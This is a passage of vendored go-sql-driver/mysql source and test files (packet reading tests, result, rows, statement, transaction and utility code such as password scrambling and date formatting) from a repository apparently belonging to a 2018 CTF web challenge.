= errors.New("too many writes") ) // struct to mock a net.Conn for testing purposes type mockConn struct { laddr net.Addr raddr net.Addr data []byte closed bool read int written int reads int writes int maxReads int maxWrites int } func (m *mockConn) Read(b []byte) (n int, err error) { if m.closed { return 0, errConnClosed } m.reads++ if m.maxReads > 0 && m.reads > m.maxReads { return 0, errConnTooManyReads } n = copy(b, m.data) m.read += n m.data = m.data[n:] return } func (m *mockConn) Write(b []byte) (n int, err error) { if m.closed { return 0, errConnClosed } m.writes++ if m.maxWrites > 0 && m.writes > m.maxWrites { return 0, errConnTooManyWrites } n = len(b) m.written += n return } func (m *mockConn) Close() error { m.closed = true return nil } func (m *mockConn) LocalAddr() net.Addr { return m.laddr } func (m *mockConn) RemoteAddr() net.Addr { return m.raddr } func (m *mockConn) SetDeadline(t time.Time) error { return nil } func (m *mockConn) SetReadDeadline(t time.Time) error { return nil } func (m *mockConn) SetWriteDeadline(t time.Time) error { return nil } // make sure mockConn implements the net.Conn interface var _ net.Conn = new(mockConn) func TestReadPacketSingleByte(t *testing.T) { conn := new(mockConn) mc := &mysqlConn{ buf: newBuffer(conn), } conn.data = []byte{0x01, 0x00, 0x00, 0x00, 0xff} conn.maxReads = 1 packet, err := mc.readPacket() if err != nil { t.Fatal(err) } if len(packet) != 1 { t.Fatalf("unexpected packet lenght: expected %d, got %d", 1, len(packet)) } if packet[0] != 0xff { t.Fatalf("unexpected packet content: expected %x, got %x", 0xff, packet[0]) } } func TestReadPacketWrongSequenceID(t *testing.T) { conn := new(mockConn) mc := &mysqlConn{ buf: newBuffer(conn), } // too low sequence id conn.data = []byte{0x01, 0x00, 0x00, 0x00, 0xff} conn.maxReads = 1 mc.sequence = 1 _, err := mc.readPacket() if err != ErrPktSync { t.Errorf("expected ErrPktSync, got %v", err) } // reset conn.reads = 0 mc.sequence = 0 mc.buf = newBuffer(conn) // too high sequence id conn.data = []byte{0x01, 0x00, 0x00, 0x42, 0xff} _, err = mc.readPacket() if err != ErrPktSyncMul { t.Errorf("expected ErrPktSyncMul, got %v", err) } } func TestReadPacketSplit(t *testing.T) { conn := new(mockConn) mc := &mysqlConn{ buf: newBuffer(conn), } data := make([]byte, maxPacketSize*2+4*3) const pkt2ofs = maxPacketSize + 4 const pkt3ofs = 2 * (maxPacketSize + 4) // case 1: payload has length maxPacketSize data = data[:pkt2ofs+4] // 1st packet has maxPacketSize length and sequence id 0 // ff ff ff 00 ... data[0] = 0xff data[1] = 0xff data[2] = 0xff // mark the payload start and end of 1st packet so that we can check if the // content was correctly appended data[4] = 0x11 data[maxPacketSize+3] = 0x22 // 2nd packet has payload length 0 and squence id 1 // 00 00 00 01 data[pkt2ofs+3] = 0x01 conn.data = data conn.maxReads = 3 packet, err := mc.readPacket() if err != nil { t.Fatal(err) } if len(packet) != maxPacketSize { t.Fatalf("unexpected packet lenght: expected %d, got %d", maxPacketSize, len(packet)) } if packet[0] != 0x11 { t.Fatalf("unexpected payload start: expected %x, got %x", 0x11, packet[0]) } if packet[maxPacketSize-1] != 0x22 { t.Fatalf("unexpected payload end: expected %x, got %x", 0x22, packet[maxPacketSize-1]) } // case 2: payload has length which is a multiple of maxPacketSize data = data[:cap(data)] // 2nd packet now has maxPacketSize length data[pkt2ofs] = 0xff data[pkt2ofs+1] = 0xff data[pkt2ofs+2] = 0xff // mark the payload start and end of the 2nd packet data[pkt2ofs+4] = 0x33 data[pkt2ofs+maxPacketSize+3] = 0x44 // 3rd packet has payload length 0 and squence id 2 // 00 00 00 02 data[pkt3ofs+3] = 0x02 conn.data = data conn.reads = 0 conn.maxReads = 5 mc.sequence = 0 packet, err = mc.readPacket() if err != nil { t.Fatal(err) } if len(packet) != 2*maxPacketSize { t.Fatalf("unexpected packet lenght: expected %d, got %d", 2*maxPacketSize, len(packet)) } if packet[0] != 0x11 { t.Fatalf("unexpected payload start: expected %x, got %x", 0x11, packet[0]) } if packet[2*maxPacketSize-1] != 0x44 { t.Fatalf("unexpected payload end: expected %x, got %x", 0x44, packet[2*maxPacketSize-1]) } // case 3: payload has a length larger maxPacketSize, which is not an exact // multiple of it data = data[:pkt2ofs+4+42] data[pkt2ofs] = 0x2a data[pkt2ofs+1] = 0x00 data[pkt2ofs+2] = 0x00 data[pkt2ofs+4+41] = 0x44 conn.data = data conn.reads = 0 conn.maxReads = 4 mc.sequence = 0 packet, err = mc.readPacket() if err != nil { t.Fatal(err) } if len(packet) != maxPacketSize+42 { t.Fatalf("unexpected packet lenght: expected %d, got %d", maxPacketSize+42, len(packet)) } if packet[0] != 0x11 { t.Fatalf("unexpected payload start: expected %x, got %x", 0x11, packet[0]) } if packet[maxPacketSize+41] != 0x44 { t.Fatalf("unexpected payload end: expected %x, got %x", 0x44, packet[maxPacketSize+41]) } } func TestReadPacketFail(t *testing.T) { conn := new(mockConn) mc := &mysqlConn{ buf: newBuffer(conn), } // illegal empty (stand-alone) packet conn.data = []byte{0x00, 0x00, 0x00, 0x00} conn.maxReads = 1 _, err := mc.readPacket() if err != driver.ErrBadConn { t.Errorf("expected ErrBadConn, got %v", err) } // reset conn.reads = 0 mc.sequence = 0 mc.buf = newBuffer(conn) // fail to read header conn.closed = true _, err = mc.readPacket() if err != driver.ErrBadConn { t.Errorf("expected ErrBadConn, got %v", err) } // reset conn.closed = false conn.reads = 0 mc.sequence = 0 mc.buf = newBuffer(conn) // fail to read body conn.maxReads = 1 _, err = mc.readPacket() if err != driver.ErrBadConn { t.Errorf("expected ErrBadConn, got %v", err) } } ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/go-sql-driver/mysql/result.go ================================================ // Go MySQL Driver - A MySQL-Driver for Go's database/sql package // // Copyright 2012 The Go-MySQL-Driver Authors. All rights reserved. // // This Source Code Form is subject to the terms of the Mozilla Public // License, v. 2.0. If a copy of the MPL was not distributed with this file, // You can obtain one at http://mozilla.org/MPL/2.0/. package mysql type mysqlResult struct { affectedRows int64 insertId int64 } func (res *mysqlResult) LastInsertId() (int64, error) { return res.insertId, nil } func (res *mysqlResult) RowsAffected() (int64, error) { return res.affectedRows, nil } ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/go-sql-driver/mysql/rows.go ================================================ // Go MySQL Driver - A MySQL-Driver for Go's database/sql package // // Copyright 2012 The Go-MySQL-Driver Authors. All rights reserved. // // This Source Code Form is subject to the terms of the Mozilla Public // License, v. 2.0. If a copy of the MPL was not distributed with this file, // You can obtain one at http://mozilla.org/MPL/2.0/. package mysql import ( "database/sql/driver" "io" ) type mysqlField struct { tableName string name string flags fieldFlag fieldType byte decimals byte } type mysqlRows struct { mc *mysqlConn columns []mysqlField } type binaryRows struct { mysqlRows } type textRows struct { mysqlRows } type emptyRows struct{} func (rows *mysqlRows) Columns() []string { columns := make([]string, len(rows.columns)) if rows.mc != nil && rows.mc.cfg.ColumnsWithAlias { for i := range columns { if tableName := rows.columns[i].tableName; len(tableName) > 0 { columns[i] = tableName + "." + rows.columns[i].name } else { columns[i] = rows.columns[i].name } } } else { for i := range columns { columns[i] = rows.columns[i].name } } return columns } func (rows *mysqlRows) Close() error { mc := rows.mc if mc == nil { return nil } if mc.netConn == nil { return ErrInvalidConn } // Remove unread packets from stream err := mc.readUntilEOF() if err == nil { if err = mc.discardResults(); err != nil { return err } } rows.mc = nil return err } func (rows *binaryRows) Next(dest []driver.Value) error { if mc := rows.mc; mc != nil { if mc.netConn == nil { return ErrInvalidConn } // Fetch next row from stream return rows.readRow(dest) } return io.EOF } func (rows *textRows) Next(dest []driver.Value) error { if mc := rows.mc; mc != nil { if mc.netConn == nil { return ErrInvalidConn } // Fetch next row from stream return rows.readRow(dest) } return io.EOF } func (rows emptyRows) Columns() []string { return nil } func (rows emptyRows) Close() error { return nil } func (rows emptyRows) Next(dest []driver.Value) error { return io.EOF } ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/go-sql-driver/mysql/statement.go ================================================ // Go MySQL Driver - A MySQL-Driver for Go's database/sql package // // Copyright 2012 The Go-MySQL-Driver Authors. All rights reserved. // // This Source Code Form is subject to the terms of the Mozilla Public // License, v. 2.0. If a copy of the MPL was not distributed with this file, // You can obtain one at http://mozilla.org/MPL/2.0/. package mysql import ( "database/sql/driver" "fmt" "reflect" "strconv" ) type mysqlStmt struct { mc *mysqlConn id uint32 paramCount int columns []mysqlField // cached from the first query } func (stmt *mysqlStmt) Close() error { if stmt.mc == nil || stmt.mc.netConn == nil { // driver.Stmt.Close can be called more than once, thus this function // has to be idempotent. // See also Issue #450 and golang/go#16019. //errLog.Print(ErrInvalidConn) return driver.ErrBadConn } err := stmt.mc.writeCommandPacketUint32(comStmtClose, stmt.id) stmt.mc = nil return err } func (stmt *mysqlStmt) NumInput() int { return stmt.paramCount } func (stmt *mysqlStmt) ColumnConverter(idx int) driver.ValueConverter { return converter{} } func (stmt *mysqlStmt) Exec(args []driver.Value) (driver.Result, error) { if stmt.mc.netConn == nil { errLog.Print(ErrInvalidConn) return nil, driver.ErrBadConn } // Send command err := stmt.writeExecutePacket(args) if err != nil { return nil, err } mc := stmt.mc mc.affectedRows = 0 mc.insertId = 0 // Read Result resLen, err := mc.readResultSetHeaderPacket() if err == nil { if resLen > 0 { // Columns err = mc.readUntilEOF() if err != nil { return nil, err } // Rows err = mc.readUntilEOF() } if err == nil { return &mysqlResult{ affectedRows: int64(mc.affectedRows), insertId: int64(mc.insertId), }, nil } } return nil, err } func (stmt *mysqlStmt) Query(args []driver.Value) (driver.Rows, error) { if stmt.mc.netConn == nil { errLog.Print(ErrInvalidConn) return nil, driver.ErrBadConn } // Send command err := stmt.writeExecutePacket(args) if err != nil { return nil, err } mc := stmt.mc // Read Result resLen, err := mc.readResultSetHeaderPacket() if err != nil { return nil, err } rows := new(binaryRows) if resLen > 0 { rows.mc = mc // Columns // If not cached, read them and cache them if stmt.columns == nil { rows.columns, err = mc.readColumns(resLen) stmt.columns = rows.columns } else { rows.columns = stmt.columns err = mc.readUntilEOF() } } return rows, err } type converter struct{} func (c converter) ConvertValue(v interface{}) (driver.Value, error) { if driver.IsValue(v) { return v, nil } rv := reflect.ValueOf(v) switch rv.Kind() { case reflect.Ptr: // indirect pointers if rv.IsNil() { return nil, nil } return c.ConvertValue(rv.Elem().Interface()) case reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64: return rv.Int(), nil case reflect.Uint, reflect.Uint8, reflect.Uint16, reflect.Uint32: return int64(rv.Uint()), nil case reflect.Uint64: u64 := rv.Uint() if u64 >= 1<<63 { return strconv.FormatUint(u64, 10), nil } return int64(u64), nil case reflect.Float32, reflect.Float64: return rv.Float(), nil } return nil, fmt.Errorf("unsupported type %T, a %s", v, rv.Kind()) } ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/go-sql-driver/mysql/transaction.go ================================================ // Go MySQL Driver - A MySQL-Driver for Go's database/sql package // // Copyright 2012 The Go-MySQL-Driver Authors. All rights reserved. // // This Source Code Form is subject to the terms of the Mozilla Public // License, v. 2.0. If a copy of the MPL was not distributed with this file, // You can obtain one at http://mozilla.org/MPL/2.0/. package mysql type mysqlTx struct { mc *mysqlConn } func (tx *mysqlTx) Commit() (err error) { if tx.mc == nil || tx.mc.netConn == nil { return ErrInvalidConn } err = tx.mc.exec("COMMIT") tx.mc = nil return } func (tx *mysqlTx) Rollback() (err error) { if tx.mc == nil || tx.mc.netConn == nil { return ErrInvalidConn } err = tx.mc.exec("ROLLBACK") tx.mc = nil return } ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/go-sql-driver/mysql/utils.go ================================================ // Go MySQL Driver - A MySQL-Driver for Go's database/sql package // // Copyright 2012 The Go-MySQL-Driver Authors. All rights reserved. // // This Source Code Form is subject to the terms of the Mozilla Public // License, v. 2.0. If a copy of the MPL was not distributed with this file, // You can obtain one at http://mozilla.org/MPL/2.0/. package mysql import ( "crypto/sha1" "crypto/tls" "database/sql/driver" "encoding/binary" "fmt" "io" "strings" "time" ) var ( tlsConfigRegister map[string]*tls.Config // Register for custom tls.Configs ) // RegisterTLSConfig registers a custom tls.Config to be used with sql.Open. // Use the key as a value in the DSN where tls=value. // // rootCertPool := x509.NewCertPool() // pem, err := ioutil.ReadFile("/path/ca-cert.pem") // if err != nil { // log.Fatal(err) // } // if ok := rootCertPool.AppendCertsFromPEM(pem); !ok { // log.Fatal("Failed to append PEM.") // } // clientCert := make([]tls.Certificate, 0, 1) // certs, err := tls.LoadX509KeyPair("/path/client-cert.pem", "/path/client-key.pem") // if err != nil { // log.Fatal(err) // } // clientCert = append(clientCert, certs) // mysql.RegisterTLSConfig("custom", &tls.Config{ // RootCAs: rootCertPool, // Certificates: clientCert, // }) // db, err := sql.Open("mysql", "user@tcp(localhost:3306)/test?tls=custom") // func RegisterTLSConfig(key string, config *tls.Config) error { if _, isBool := readBool(key); isBool || strings.ToLower(key) == "skip-verify" { return fmt.Errorf("key '%s' is reserved", key) } if tlsConfigRegister == nil { tlsConfigRegister = make(map[string]*tls.Config) } tlsConfigRegister[key] = config return nil } // DeregisterTLSConfig removes the tls.Config associated with key. func DeregisterTLSConfig(key string) { if tlsConfigRegister != nil { delete(tlsConfigRegister, key) } } // Returns the bool value of the input. // The 2nd return value indicates if the input was a valid bool value func readBool(input string) (value bool, valid bool) { switch input { case "1", "true", "TRUE", "True": return true, true case "0", "false", "FALSE", "False": return false, true } // Not a valid bool value return } /****************************************************************************** * Authentication * ******************************************************************************/ // Encrypt password using 4.1+ method func scramblePassword(scramble, password []byte) []byte { if len(password) == 0 { return nil } // stage1Hash = SHA1(password) crypt := sha1.New() crypt.Write(password) stage1 := crypt.Sum(nil) // scrambleHash = SHA1(scramble + SHA1(stage1Hash)) // inner Hash crypt.Reset() crypt.Write(stage1) hash := crypt.Sum(nil) // outer Hash crypt.Reset() crypt.Write(scramble) crypt.Write(hash) scramble = crypt.Sum(nil) // token = scrambleHash XOR stage1Hash for i := range scramble { scramble[i] ^= stage1[i] } return scramble } // Encrypt password using pre 4.1 (old password) method // https://github.com/atcurtis/mariadb/blob/master/mysys/my_rnd.c type myRnd struct { seed1, seed2 uint32 } const myRndMaxVal = 0x3FFFFFFF // Pseudo random number generator func newMyRnd(seed1, seed2 uint32) *myRnd { return &myRnd{ seed1: seed1 % myRndMaxVal, seed2: seed2 % myRndMaxVal, } } // Tested to be equivalent to MariaDB's floating point variant // http://play.golang.org/p/QHvhd4qved // http://play.golang.org/p/RG0q4ElWDx func (r *myRnd) NextByte() byte { r.seed1 = (r.seed1*3 + r.seed2) % myRndMaxVal r.seed2 = (r.seed1 + r.seed2 + 33) % myRndMaxVal return byte(uint64(r.seed1) * 31 / myRndMaxVal) } // Generate binary hash from byte string using insecure pre 4.1 method func pwHash(password []byte) (result [2]uint32) { var add uint32 = 7 var tmp uint32 result[0] = 1345345333 result[1] = 0x12345671 for _, c := range password { // skip spaces and tabs in password if c == ' ' || c == '\t' { continue } tmp = uint32(c) result[0] ^= (((result[0] & 63) + add) * tmp) + (result[0] << 8) result[1] += (result[1] << 8) ^ result[0] add += tmp } // Remove sign bit (1<<31)-1) result[0] &= 0x7FFFFFFF result[1] &= 0x7FFFFFFF return } // Encrypt password using insecure pre 4.1 method func scrambleOldPassword(scramble, password []byte) []byte { if len(password) == 0 { return nil } scramble = scramble[:8] hashPw := pwHash(password) hashSc := pwHash(scramble) r := newMyRnd(hashPw[0]^hashSc[0], hashPw[1]^hashSc[1]) var out [8]byte for i := range out { out[i] = r.NextByte() + 64 } mask := r.NextByte() for i := range out { out[i] ^= mask } return out[:] } /****************************************************************************** * Time related utils * ******************************************************************************/ // NullTime represents a time.Time that may be NULL. // NullTime implements the Scanner interface so // it can be used as a scan destination: // // var nt NullTime // err := db.QueryRow("SELECT time FROM foo WHERE id=?", id).Scan(&nt) // ... // if nt.Valid { // // use nt.Time // } else { // // NULL value // } // // This NullTime implementation is not driver-specific type NullTime struct { Time time.Time Valid bool // Valid is true if Time is not NULL } // Scan implements the Scanner interface. // The value type must be time.Time or string / []byte (formatted time-string), // otherwise Scan fails. func (nt *NullTime) Scan(value interface{}) (err error) { if value == nil { nt.Time, nt.Valid = time.Time{}, false return } switch v := value.(type) { case time.Time: nt.Time, nt.Valid = v, true return case []byte: nt.Time, err = parseDateTime(string(v), time.UTC) nt.Valid = (err == nil) return case string: nt.Time, err = parseDateTime(v, time.UTC) nt.Valid = (err == nil) return } nt.Valid = false return fmt.Errorf("Can't convert %T to time.Time", value) } // Value implements the driver Valuer interface. func (nt NullTime) Value() (driver.Value, error) { if !nt.Valid { return nil, nil } return nt.Time, nil } func parseDateTime(str string, loc *time.Location) (t time.Time, err error) { base := "0000-00-00 00:00:00.0000000" switch len(str) { case 10, 19, 21, 22, 23, 24, 25, 26: // up to "YYYY-MM-DD HH:MM:SS.MMMMMM" if str == base[:len(str)] { return } t, err = time.Parse(timeFormat[:len(str)], str) default: err = fmt.Errorf("invalid time string: %s", str) return } // Adjust location if err == nil && loc != time.UTC { y, mo, d := t.Date() h, mi, s := t.Clock() t, err = time.Date(y, mo, d, h, mi, s, t.Nanosecond(), loc), nil } return } func parseBinaryDateTime(num uint64, data []byte, loc *time.Location) (driver.Value, error) { switch num { case 0: return time.Time{}, nil case 4: return time.Date( int(binary.LittleEndian.Uint16(data[:2])), // year time.Month(data[2]), // month int(data[3]), // day 0, 0, 0, 0, loc, ), nil case 7: return time.Date( int(binary.LittleEndian.Uint16(data[:2])), // year time.Month(data[2]), // month int(data[3]), // day int(data[4]), // hour int(data[5]), // minutes int(data[6]), // seconds 0, loc, ), nil case 11: return time.Date( int(binary.LittleEndian.Uint16(data[:2])), // year time.Month(data[2]), // month int(data[3]), // day int(data[4]), // hour int(data[5]), // minutes int(data[6]), // seconds int(binary.LittleEndian.Uint32(data[7:11]))*1000, // nanoseconds loc, ), nil } return nil, fmt.Errorf("invalid DATETIME packet length %d", num) } // zeroDateTime is used in formatBinaryDateTime to avoid an allocation // if the DATE or DATETIME has the zero value. // It must never be changed. // The current behavior depends on database/sql copying the result. var zeroDateTime = []byte("0000-00-00 00:00:00.000000") const digits01 = "0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789" const digits10 = "0000000000111111111122222222223333333333444444444455555555556666666666777777777788888888889999999999" func formatBinaryDateTime(src []byte, length uint8, justTime bool) (driver.Value, error) { // length expects the deterministic length of the zero value, // negative time and 100+ hours are automatically added if needed if len(src) == 0 { if justTime { return zeroDateTime[11 : 11+length], nil } return zeroDateTime[:length], nil } var dst []byte // return value var pt, p1, p2, p3 byte // current digit pair var zOffs byte // offset of value in zeroDateTime if justTime { switch length { case 8, // time (can be up to 10 when negative and 100+ hours) 10, 11, 12, 13, 14, 15: // time with fractional seconds default: return nil, fmt.Errorf("illegal TIME length %d", length) } switch len(src) { case 8, 12: default: return nil, fmt.Errorf("invalid TIME packet length %d", len(src)) } // +2 to enable negative time and 100+ hours dst = make([]byte, 0, length+2) if src[0] == 1 { dst = append(dst, '-') } if src[1] != 0 { hour := uint16(src[1])*24 + uint16(src[5]) pt = byte(hour / 100) p1 = byte(hour - 100*uint16(pt)) dst = append(dst, digits01[pt]) } else { p1 = src[5] } zOffs = 11 src = src[6:] } else { switch length { case 10, 19, 21, 22, 23, 24, 25, 26: default: t := "DATE" if length > 10 { t += "TIME" } return nil, fmt.Errorf("illegal %s length %d", t, length) } switch len(src) { case 4, 7, 11: default: t := "DATE" if length > 10 { t += "TIME" } return nil, fmt.Errorf("illegal %s packet length %d", t, len(src)) } dst = make([]byte, 0, length) // start with the date year := binary.LittleEndian.Uint16(src[:2]) pt = byte(year / 100) p1 = byte(year - 100*uint16(pt)) p2, p3 = src[2], src[3] dst = append(dst, digits10[pt], digits01[pt], digits10[p1], digits01[p1], '-', digits10[p2], digits01[p2], '-', digits10[p3], digits01[p3], ) if length == 10 { return dst, nil } if len(src) == 4 { return append(dst, zeroDateTime[10:length]...), nil } dst = append(dst, ' ') p1 = src[4] // hour src = src[5:] } // p1 is 2-digit hour, src is after hour p2, p3 = src[0], src[1] dst = append(dst, digits10[p1], digits01[p1], ':', digits10[p2], digits01[p2], ':', digits10[p3], digits01[p3], ) if length <= byte(len(dst)) { return dst, nil } src = src[2:] if len(src) == 0 { return append(dst, zeroDateTime[19:zOffs+length]...), nil } microsecs := binary.LittleEndian.Uint32(src[:4]) p1 = byte(microsecs / 10000) microsecs -= 10000 * uint32(p1) p2 = byte(microsecs / 100) microsecs -= 100 * uint32(p2) p3 = byte(microsecs) switch decimals := zOffs + length - 20; decimals { default: return append(dst, '.', digits10[p1], digits01[p1], digits10[p2], digits01[p2], digits10[p3], digits01[p3], ), nil case 1: return append(dst, '.', digits10[p1], ), nil case 2: return append(dst, '.', digits10[p1], digits01[p1], ), nil case 3: return append(dst, '.', digits10[p1], digits01[p1], digits10[p2], ), nil case 4: return append(dst, '.', digits10[p1], digits01[p1], digits10[p2], digits01[p2], ), nil case 5: return append(dst, '.', digits10[p1], digits01[p1], digits10[p2], digits01[p2], digits10[p3], ), nil } } /****************************************************************************** * Convert from and to bytes * ******************************************************************************/ func uint64ToBytes(n uint64) []byte { return []byte{ byte(n), byte(n >> 8), byte(n >> 16), byte(n >> 24), byte(n >> 32), byte(n >> 40), byte(n >> 48), byte(n >> 56), } } func uint64ToString(n uint64) []byte { var a [20]byte i := 20 // U+0030 = 0 // ... // U+0039 = 9 var q uint64 for n >= 10 { i-- q = n / 10 a[i] = uint8(n-q*10) + 0x30 n = q } i-- a[i] = uint8(n) + 0x30 return a[i:] } // treats string value as unsigned integer representation func stringToInt(b []byte) int { val := 0 for i := range b { val *= 10 val += int(b[i] - 0x30) } return val } // returns the string read as a bytes slice, wheter the value is NULL, // the number of bytes read and an error, in case the string is longer than // the input slice func readLengthEncodedString(b []byte) ([]byte, bool, int, error) { // Get length num, isNull, n := readLengthEncodedInteger(b) if num < 1 { return b[n:n], isNull, n, nil } n += int(num) // Check data length if len(b) >= n { return b[n-int(num) : n], false, n, nil } return nil, false, n, io.EOF } // returns the number of bytes skipped and an error, in case the string is // longer than the input slice func skipLengthEncodedString(b []byte) (int, error) { // Get length num, _, n := readLengthEncodedInteger(b) if num < 1 { return n, nil } n += int(num) // Check data length if len(b) >= n { return n, nil } return n, io.EOF } // returns the number read, whether the value is NULL and the number of bytes read func readLengthEncodedInteger(b []byte) (uint64, bool, int) { // See issue #349 if len(b) == 0 { return 0, true, 1 } switch b[0] { // 251: NULL case 0xfb: return 0, true, 1 // 252: value of following 2 case 0xfc: return uint64(b[1]) | uint64(b[2])<<8, false, 3 // 253: value of following 3 case 0xfd: return uint64(b[1]) | uint64(b[2])<<8 | uint64(b[3])<<16, false, 4 // 254: value of following 8 case 0xfe: return uint64(b[1]) | uint64(b[2])<<8 | uint64(b[3])<<16 | uint64(b[4])<<24 | uint64(b[5])<<32 | uint64(b[6])<<40 | uint64(b[7])<<48 | uint64(b[8])<<56, false, 9 } // 0-250: value of first byte return uint64(b[0]), false, 1 } // encodes a uint64 value and appends it to the given bytes slice func appendLengthEncodedInteger(b []byte, n uint64) []byte { switch { case n <= 250: return append(b, byte(n)) case n <= 0xffff: return append(b, 0xfc, byte(n), byte(n>>8)) case n <= 0xffffff: return append(b, 0xfd, byte(n), byte(n>>8), byte(n>>16)) } return append(b, 0xfe, byte(n), byte(n>>8), byte(n>>16), byte(n>>24), byte(n>>32), byte(n>>40), byte(n>>48), byte(n>>56)) } // reserveBuffer checks cap(buf) and expand buffer to len(buf) + appendSize. // If cap(buf) is not enough, reallocate new buffer. func reserveBuffer(buf []byte, appendSize int) []byte { newSize := len(buf) + appendSize if cap(buf) < newSize { // Grow buffer exponentially newBuf := make([]byte, len(buf)*2+appendSize) copy(newBuf, buf) buf = newBuf } return buf[:newSize] } // escapeBytesBackslash escapes []byte with backslashes (\) // This escapes the contents of a string (provided as []byte) by adding backslashes before special // characters, and turning others into specific escape sequences, such as // turning newlines into \n and null bytes into \0. // https://github.com/mysql/mysql-server/blob/mysql-5.7.5/mysys/charset.c#L823-L932 func escapeBytesBackslash(buf, v []byte) []byte { pos := len(buf) buf = reserveBuffer(buf, len(v)*2) for _, c := range v { switch c { case '\x00': buf[pos] = '\\' buf[pos+1] = '0' pos += 2 case '\n': buf[pos] = '\\' buf[pos+1] = 'n' pos += 2 case '\r': buf[pos] = '\\' buf[pos+1] = 'r' pos += 2 case '\x1a': buf[pos] = '\\' buf[pos+1] = 'Z' pos += 2 case '\'': buf[pos] = '\\' buf[pos+1] = '\'' pos += 2 case '"': buf[pos] = '\\' buf[pos+1] = '"' pos += 2 case '\\': buf[pos] = '\\' buf[pos+1] = '\\' pos += 2 default: buf[pos] = c pos++ } } return buf[:pos] } // escapeStringBackslash is similar to escapeBytesBackslash but for string. func escapeStringBackslash(buf []byte, v string) []byte { pos := len(buf) buf = reserveBuffer(buf, len(v)*2) for i := 0; i < len(v); i++ { c := v[i] switch c { case '\x00': buf[pos] = '\\' buf[pos+1] = '0' pos += 2 case '\n': buf[pos] = '\\' buf[pos+1] = 'n' pos += 2 case '\r': buf[pos] = '\\' buf[pos+1] = 'r' pos += 2 case '\x1a': buf[pos] = '\\' buf[pos+1] = 'Z' pos += 2 case '\'': buf[pos] = '\\' buf[pos+1] = '\'' pos += 2 case '"': buf[pos] = '\\' buf[pos+1] = '"' pos += 2 case '\\': buf[pos] = '\\' buf[pos+1] = '\\' pos += 2 default: buf[pos] = c pos++ } } return buf[:pos] } // escapeBytesQuotes escapes apostrophes in []byte by doubling them up. // This escapes the contents of a string by doubling up any apostrophes that // it contains. This is used when the NO_BACKSLASH_ESCAPES SQL_MODE is in // effect on the server. // https://github.com/mysql/mysql-server/blob/mysql-5.7.5/mysys/charset.c#L963-L1038 func escapeBytesQuotes(buf, v []byte) []byte { pos := len(buf) buf = reserveBuffer(buf, len(v)*2) for _, c := range v { if c == '\'' { buf[pos] = '\'' buf[pos+1] = '\'' pos += 2 } else { buf[pos] = c pos++ } } return buf[:pos] } // escapeStringQuotes is similar to escapeBytesQuotes but for string. func escapeStringQuotes(buf []byte, v string) []byte { pos := len(buf) buf = reserveBuffer(buf, len(v)*2) for i := 0; i < len(v); i++ { c := v[i] if c == '\'' { buf[pos] = '\'' buf[pos+1] = '\'' pos += 2 } else { buf[pos] = c pos++ } } return buf[:pos] } ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/go-sql-driver/mysql/utils_test.go ================================================ // Go MySQL Driver - A MySQL-Driver for Go's database/sql package // // Copyright 2013 The Go-MySQL-Driver Authors. All rights reserved. // // This Source Code Form is subject to the terms of the Mozilla Public // License, v. 2.0. If a copy of the MPL was not distributed with this file, // You can obtain one at http://mozilla.org/MPL/2.0/. package mysql import ( "bytes" "encoding/binary" "fmt" "testing" "time" ) func TestScanNullTime(t *testing.T) { var scanTests = []struct { in interface{} error bool valid bool time time.Time }{ {tDate, false, true, tDate}, {sDate, false, true, tDate}, {[]byte(sDate), false, true, tDate}, {tDateTime, false, true, tDateTime}, {sDateTime, false, true, tDateTime}, {[]byte(sDateTime), false, true, tDateTime}, {tDate0, false, true, tDate0}, {sDate0, false, true, tDate0}, {[]byte(sDate0), false, true, tDate0}, {sDateTime0, false, true, tDate0}, {[]byte(sDateTime0), false, true, tDate0}, {"", true, false, tDate0}, {"1234", true, false, tDate0}, {0, true, false, tDate0}, } var nt = NullTime{} var err error for _, tst := range scanTests { err = nt.Scan(tst.in) if (err != nil) != tst.error { t.Errorf("%v: expected error status %t, got %t", tst.in, tst.error, (err != nil)) } if nt.Valid != tst.valid { t.Errorf("%v: expected valid status %t, got %t", tst.in, tst.valid, nt.Valid) } if nt.Time != tst.time { t.Errorf("%v: expected time %v, got %v", tst.in, tst.time, nt.Time) } } } func TestLengthEncodedInteger(t *testing.T) { var integerTests = []struct { num uint64 encoded []byte }{ {0x0000000000000000, []byte{0x00}}, {0x0000000000000012, []byte{0x12}}, {0x00000000000000fa, []byte{0xfa}}, {0x0000000000000100, []byte{0xfc, 0x00, 0x01}}, {0x0000000000001234, []byte{0xfc, 0x34, 0x12}}, {0x000000000000ffff, []byte{0xfc, 0xff, 0xff}}, {0x0000000000010000, []byte{0xfd, 0x00, 0x00, 0x01}}, {0x0000000000123456, []byte{0xfd, 0x56, 0x34, 0x12}}, {0x0000000000ffffff, []byte{0xfd, 0xff, 0xff, 0xff}}, {0x0000000001000000, []byte{0xfe, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00}}, {0x123456789abcdef0, []byte{0xfe, 0xf0, 0xde, 0xbc, 0x9a, 0x78, 0x56, 0x34, 0x12}}, {0xffffffffffffffff, []byte{0xfe, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff}}, } for _, tst := range integerTests { num, isNull, numLen := readLengthEncodedInteger(tst.encoded) if isNull { t.Errorf("%x: expected %d, got NULL", tst.encoded, tst.num) } if num != tst.num { t.Errorf("%x: expected %d, got %d", tst.encoded, tst.num, num) } if numLen != len(tst.encoded) { t.Errorf("%x: expected size %d, got %d", tst.encoded, len(tst.encoded), numLen) } encoded := appendLengthEncodedInteger(nil, num) if !bytes.Equal(encoded, tst.encoded) { t.Errorf("%v: expected %x, got %x", num, tst.encoded, encoded) } } } func TestOldPass(t *testing.T) { scramble := []byte{9, 8, 7, 6, 5, 4, 3, 2} vectors := []struct { pass string out string }{ {" pass", "47575c5a435b4251"}, {"pass ", "47575c5a435b4251"}, {"123\t456", "575c47505b5b5559"}, {"C0mpl!ca ted#PASS123", "5d5d554849584a45"}, } for _, tuple := range vectors { ours := scrambleOldPassword(scramble, []byte(tuple.pass)) if tuple.out != fmt.Sprintf("%x", ours) { t.Errorf("Failed old password %q", tuple.pass) } } } func 